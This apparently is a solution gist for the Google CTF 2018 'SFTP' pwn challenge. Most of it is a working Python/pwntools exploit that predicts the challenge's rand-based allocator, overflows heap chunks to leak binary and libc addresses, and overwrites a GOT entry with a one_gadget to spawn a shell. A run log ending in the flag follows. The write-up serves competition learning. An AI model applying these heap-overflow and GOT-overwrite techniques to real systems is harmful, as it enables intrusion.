Google CTF 2018 Quals: SFTP pwn task solution
| import time | |
| import sys | |
| from collections import defaultdict | |
| from ctypes import CDLL | |
| from pwn import * | |
| from z3 import * | |
| s = Solver() | |
| v4 = 0x5417 | |
| v5 = [BitVec('a_%s' % i, 64) for i in xrange(15)] | |
| for v0 in v5: | |
| v4 = 2 * (v0 ^ v4) | |
| for i in xrange(len(v5)): | |
| s.add(v5[i] > 32) | |
| v5[i] != 0x0a | |
| s.add(v5[i] < 128) | |
| s.add(v4 & 0xffff == 0x8DFA) | |
| s.check() | |
| m = s.model() | |
| passwd = ''.join(map(chr, [m[v5[i]].as_long() for i in xrange(15)])) | |
| print '[*] Calculated the password: %s' % passwd | |
| if len(sys.argv) > 1: | |
| s = remote('sftp.ctfcompetition.com', 1337) | |
| # ubuntu-xenial-amd64-libc6 | |
| fread_offset = 0x6e1a0 | |
| one_gadget = 0x4526a | |
| else: | |
| s = process('./sftp') | |
| #server = process(['socat', 'tcp-listen:1234,fork,reuseaddr', 'exec:./sftp']) | |
| #s = remote('localhost', 1234) | |
| fread_offset = 0x6e040 | |
| one_gadget = 0x423f2#0x4239e | |
| gdb.attach(s, 'b exit\nc\n') | |
| libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6') | |
| print s.recv(4096) | |
| s.send('yes\n') | |
| print s.recv(4096) | |
| s.send('%s\n' % passwd) | |
| print s.recvuntil('sftp>') | |
| # Leaking the home address | |
| s.send('symlink /home/c01db33f %s\n' % ('a' * 20)) | |
| s.recvuntil('sftp>') | |
| s.send('ls\n') | |
| home_addr = u32(s.recvuntil('sftp>')[-10:-6]) | |
| print 'Found home addr:', hex(home_addr) | |
| for seed in xrange(int(time.time()) - 10, int(time.time()) + 10): | |
| libc.srand(seed) | |
| if home_addr in [libc.rand() & 0x1FFFFFFF | 0x40000000 for _ in xrange(10)]: | |
| print '[*] Found seed:', seed | |
| break | |
| def leaksource(): | |
| s.send('cd src\n') | |
| s.recv(4096) | |
| s.send('get sftp.c\n') | |
| print s.recvuntil('service_main();') | |
| print s.recv(4096) | |
| s.send('mkdir %s\n' % ('a' * 4000)) | |
| s.interactive() | |
| def find_alloc(adjust): | |
| libc.srand(seed) | |
| [libc.rand() for _ in xrange(adjust)] # adjusting mallocs | |
| t = defaultdict(list) | |
| for i in xrange(500): | |
| t[libc.rand() & 0x1FFFFFFF | 0x40000000].append(i) | |
| k = sorted(t.keys()) | |
| res = [] | |
| for i in xrange(len(k) - 1): | |
| if k[i + 1] - k[i] < 14070: # actually can be greater, we can overflow with file data | |
| alloc_1, alloc_2 = min(t[k[i + 1]]), max(t[k[i]]) | |
| if alloc_1 < alloc_2: # greater address should be allocatable earlier | |
| #print '\tAddresses', k[i], k[i + 1] | |
| #print '\tAllocations', alloc_1, alloc_2 | |
| res.append((alloc_2, alloc_1, k[i + 1], k[i])) # alloc_2 first for sorting | |
| if not res: | |
| print 'Allocs not found =(' | |
| quit() | |
| res.sort() | |
| best = res[0][1], res[0][0], res[0][3], res[0][2] # transpose after sort | |
| print '[*] Optimal allocs:', best | |
| return best | |
| def alloc_mkdir(alloc, start=0): | |
| for i in xrange(start, alloc): | |
| s.send('mkdir hui%s\n' % i) | |
| s.recvuntil('sftp>') | |
| print '[*] Allocated %s' % alloc | |
| def leak_addr(addr, addr_1, addr_2): | |
| fake_eba = p64(0) # struct directory_entry* parent_directory; | |
| fake_eba += p32(1) # enum entry_type type; # DIRECTORY_ENTRY = 0x1, | |
| fake_eba += 'ebala'.ljust(20, '\x00') # char name[name_max]; | |
| fake_eba += p64(16) # size_t child_count; | |
| fake_eba += p64(addr - 12) # to leak parent_directory of /home, it's root | |
| s.send('cd ebala\n') | |
| s.recvuntil('sftp>') | |
| s.send('put pizdec\n') | |
| payload_size = len(fake_eba) + addr_2 - addr_1 | |
| s.send('%s\n' % payload_size) | |
| s.send(fake_eba.rjust(payload_size, 'a')) | |
| s.recvuntil('sftp>') | |
| print '[*] Created overflow: %s -> %s (%s)' % (hex(addr_1), hex(addr_2), addr_2 - addr_1) | |
| s.send('ls\n') | |
| s.recv(4096) | |
| hui = s.recvuntil('sftp> ') | |
| return u64(hui[:-7].ljust(8, '\x00')) | |
| def ebala(): | |
| s.send('mkdir ebala\n') | |
| s.recvuntil('sftp>') | |
| print '[*] Created dir ebala' | |
| def heapover(): | |
| adjust = 7 | |
| alloc_1, alloc_2, addr_1, addr_2 = find_alloc(adjust) | |
| alloc_mkdir(alloc_1) | |
| ebala() | |
| alloc_mkdir(alloc_2 - 2, alloc_1) # extra alloc caused by handle_put | |
| root_addr = leak_addr(home_addr, addr_1, addr_2) | |
| print '[*] Leaked root addr:', hex(root_addr) | |
| elf_base = root_addr - 0x208BE0 | |
| print '[*] Binary base:', hex(elf_base) | |
| got_addr = elf_base + 0x205030 | |
| print '[*] .got.plt:', hex(got_addr) | |
| ebala() # fresh start | |
| s.send('cd ebala\n') | |
| s.recvuntil('sftp>') | |
| adjust += alloc_2 + 2 # extra alloc caused in ebala() above | |
| alloc_1, alloc_2, addr_1, addr_2 = find_alloc(adjust) | |
| alloc_mkdir(alloc_1) | |
| ebala() | |
| alloc_mkdir(alloc_2 - 2, alloc_1) # extra alloc caused by handle_put | |
| fread_addr = leak_addr(got_addr, addr_1, addr_2) | |
| print '[*] Leaked fread addr:', hex(fread_addr) | |
| libc_base = fread_addr - fread_offset | |
| one_shot = libc_base + one_gadget | |
| #s.interactive() | |
| # NOW W-W-W | |
| ebala() # fresh start | |
| s.send('cd ebala\n') | |
| s.recvuntil('sftp>') | |
| adjust += alloc_2 + 2 # extra alloc caused in ebala() above | |
| alloc_1, alloc_2, addr_1, addr_2 = find_alloc(adjust) | |
| alloc_mkdir(alloc_1) | |
| # create file with length 8, we'll then overwrite its data ptr | |
| s.send('put suka\n') | |
| s.send('8\n') | |
| s.send('aaaaaaaa\n') | |
| s.recvuntil('sftp>') | |
| alloc_mkdir(alloc_2 - 3, alloc_1) # extra alloc caused by handle_put | |
| fake_eba = p64(0) # struct directory_entry* parent_directory; | |
| fake_eba += p32(2) # enum entry_type type; # FILE_ENTRY = 0x2, | |
| fake_eba += 'suka'.ljust(20, '\x00') # char name[name_max]; | |
| fake_eba += p64(8) # size_t size; | |
| fake_eba += p64(elf_base + 0x205028) # where to write # char* data; # off_205028 dq offset puts | |
| s.send('put pizdec\n') | |
| payload_size = len(fake_eba) + addr_2 - addr_1 | |
| s.send('%s\n' % payload_size) | |
| s.send(fake_eba.rjust(payload_size, 'a')) | |
| s.recvuntil('sftp>') | |
| print '[*] Created overflow: %s -> %s (%s)' % (hex(addr_1), hex(addr_2), addr_2 - addr_1) | |
| s.send('put suka\n') | |
| s.send('8\n') | |
| s.send(p64(one_shot)) # what to write | |
| # BOOOOOM | |
| s.interactive() | |
| heapover() |
| 1) The binary implements SFTP-like service with virtual in-memory file system with encrypted pre-loaded content (fake flag and partial binary source code). | |
| In order to log in, you should generate a password which satisfies a simple equation (which is solved by z3 in the exploit). | |
| The binary also uses custom memory allocator with random addresses: | |
| void sub_E70() | |
| { | |
| unsigned int v0; // eax@2 | |
| if ( mmap((void *)0x40000000, 0x200FFFFFuLL, 3, 50, -1, 0LL) != (void *)0x40000000 ) | |
| abort(); | |
| v0 = time(0LL); | |
| srand(v0); | |
| } | |
| signed __int64 malloc() | |
| { | |
| return rand() & 0x1FFFFFFF | 0x40000000LL; | |
| } | |
| __int64 __fastcall realloc(__int64 a1) | |
| { | |
| return a1; | |
| } | |
| void free() | |
| { | |
| ; | |
| } | |
| 2) There's a buffer overflow in the new_entry function, where an entry path may contain up to 4096 bytes, but the name field in the entry struct is limited only to 20 bytes: | |
| #define path_max 4096 | |
| #define name_max 20 | |
| #define file_max 65535 | |
| . . . | |
| strcpy((*child)->name, name); | |
| 3) And also we can overflow the memory chunks by uploading the files. | |
| To succeed, we need first to calculate the seed and find such allocation sequences, that there will be 2 chunks close enough to each other to make overwrite possible. | |
| 4) Run the exploit: | |
| # python sftp_exp.py 1 | |
| [*] Calculated the password: !"$!@40000pp8p} | |
| [+] Opening connection to sftp.ctfcompetition.com on port 1337: Done | |
| The authenticity of host 'sftp.google.ctf (3.13.3.7)' can't be established. | |
| ECDSA key fingerprint is SHA256:+d+dnKGLreinYcA8EogcgjSF3yhvEBL+6twxEc04ZPq. | |
| Are you sure you want to continue connecting (yes/no)? | |
| Warning: Permanently added 'sftp.google.ctf' (ECDSA) to the list of known hosts. | |
| c01db33f@sftp.google.ctf's password: Connected to sftp.google.ctf. | |
| sftp> | |
| Found home addr: 0x59675604 | |
| [*] Found seed: 1529920472 | |
| [*] Optimal allocs: (16, 106, 1507230026, 1507233827) | |
| [*] Allocated 16 | |
| [*] Created dir ebala | |
| [*] Allocated 104 | |
| [*] Created overflow: 0x59d6814a -> 0x59d69023 (3801) | |
| [*] Leaked root addr: 0x559e8d72abe0 | |
| [*] Binary base: 0x559e8d522000 | |
| [*] .got.plt: 0x559e8d727030 | |
| [*] Created dir ebala | |
| [*] Optimal allocs: (111, 431, 1088429228, 1088431382) | |
| [*] Allocated 111 | |
| [*] Created dir ebala | |
| [*] Allocated 429 | |
| [*] Created overflow: 0x40e01cac -> 0x40e02516 (2154) | |
| [*] Leaked fread addr: 0x7f45f89b71a0 | |
| [*] Created dir ebala | |
| [*] Optimal allocs: (15, 265, 1348220783, 1348234344) | |
| [*] Allocated 15 | |
| [*] Allocated 262 | |
| [*] Created overflow: 0x505c376f -> 0x505c6c68 (13561) | |
| [*] Switching to interactive mode | |
| sftp> sftp> $ | |
| $ cat /home/user/flag | |
| CTF{Moar_Randomz_Moar_Mitigatez!} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment